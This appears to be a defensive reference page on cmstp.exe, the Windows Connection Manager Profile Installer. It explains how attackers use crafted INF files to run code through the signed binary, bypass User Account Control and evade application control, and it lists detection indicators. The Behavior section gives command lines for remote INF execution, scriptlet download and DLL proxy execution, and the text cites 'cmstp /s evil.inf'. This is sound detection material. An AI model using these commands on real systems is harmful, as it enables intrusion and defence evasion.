Process
cmstp.exe
cmstp.exe is the Connection Manager Profile Installer, meant to install network connection profiles from an INF file. It is rarely used today. Attackers abuse it to run commands through a signed Microsoft binary and to bypass User Account Control, driven entirely by a crafted INF.
File identity
Not observed.
Not observed.
Not observed.
Not observed.
Execution context
Not observed.
Not observed.
Not observed.
Not observed.
Not observed.
Not observed.
Ancestry
Not observed.
Not observed.
Not observed.
Not observed.
Behavior
Not observed.
Not observed.
Not observed.
Not observed.
cmstp.exe /ni /s {PATH_ABSOLUTE:.inf}Execute · Execute code hidden within an inf file. Download and run scriptlets from internet.cmstp.exe /ni /s {REMOTEURL:.inf}AWL Bypass · Execute code hidden within an inf file. Execute code directly from Internet.cmstp.exe /nfExecute · Proxy execution of a malicious DLL via registry modification.
Indicators
Not observed.
Analysis
cmstp.exe installs or removes Connection Manager service profiles described in an INF file. An INF can specify scriptable actions that run during installation, and that is the mechanism attackers repurpose: a crafted INF tells cmstp to fetch and run a command or scriptlet. The genuine binary lives at C:\Windows\System32\cmstp.exe, with a 32-bit copy under SysWOW64.
Legitimately, cmstp is used to deploy VPN or dial-up connection profiles, which is uncommon on modern systems. The INF it is given, and where that INF came from, are what give an instance meaning.
cmstp.exe is a system-binary proxy (T1218.003). A crafted INF makes the signed binary execute an embedded or remote command or scriptlet, so an attacker runs cmstp /s evil.inf to have a trusted Microsoft process run their code, bypassing application-control rules. The same INF mechanism is used to bypass User Account Control, because cmstp can run an action auto-elevated without the usual prompt.
Connection-profile installation is rare, so cmstp running at all is notable, and an INF from a temp, download, or remote path, or a parent like an Office application, marks it as abuse rather than network configuration.
- An INF on the command line from a user-writable path or a remote locationhigh
- Parent is an Office application, a script host,
cmd.exe, orpowershell.exehigh - cmstp spawning a shell or making outbound network connectionshigh
- Run on a host that does not deploy connection profilesmed
Telemetry
Not observed.
Not observed.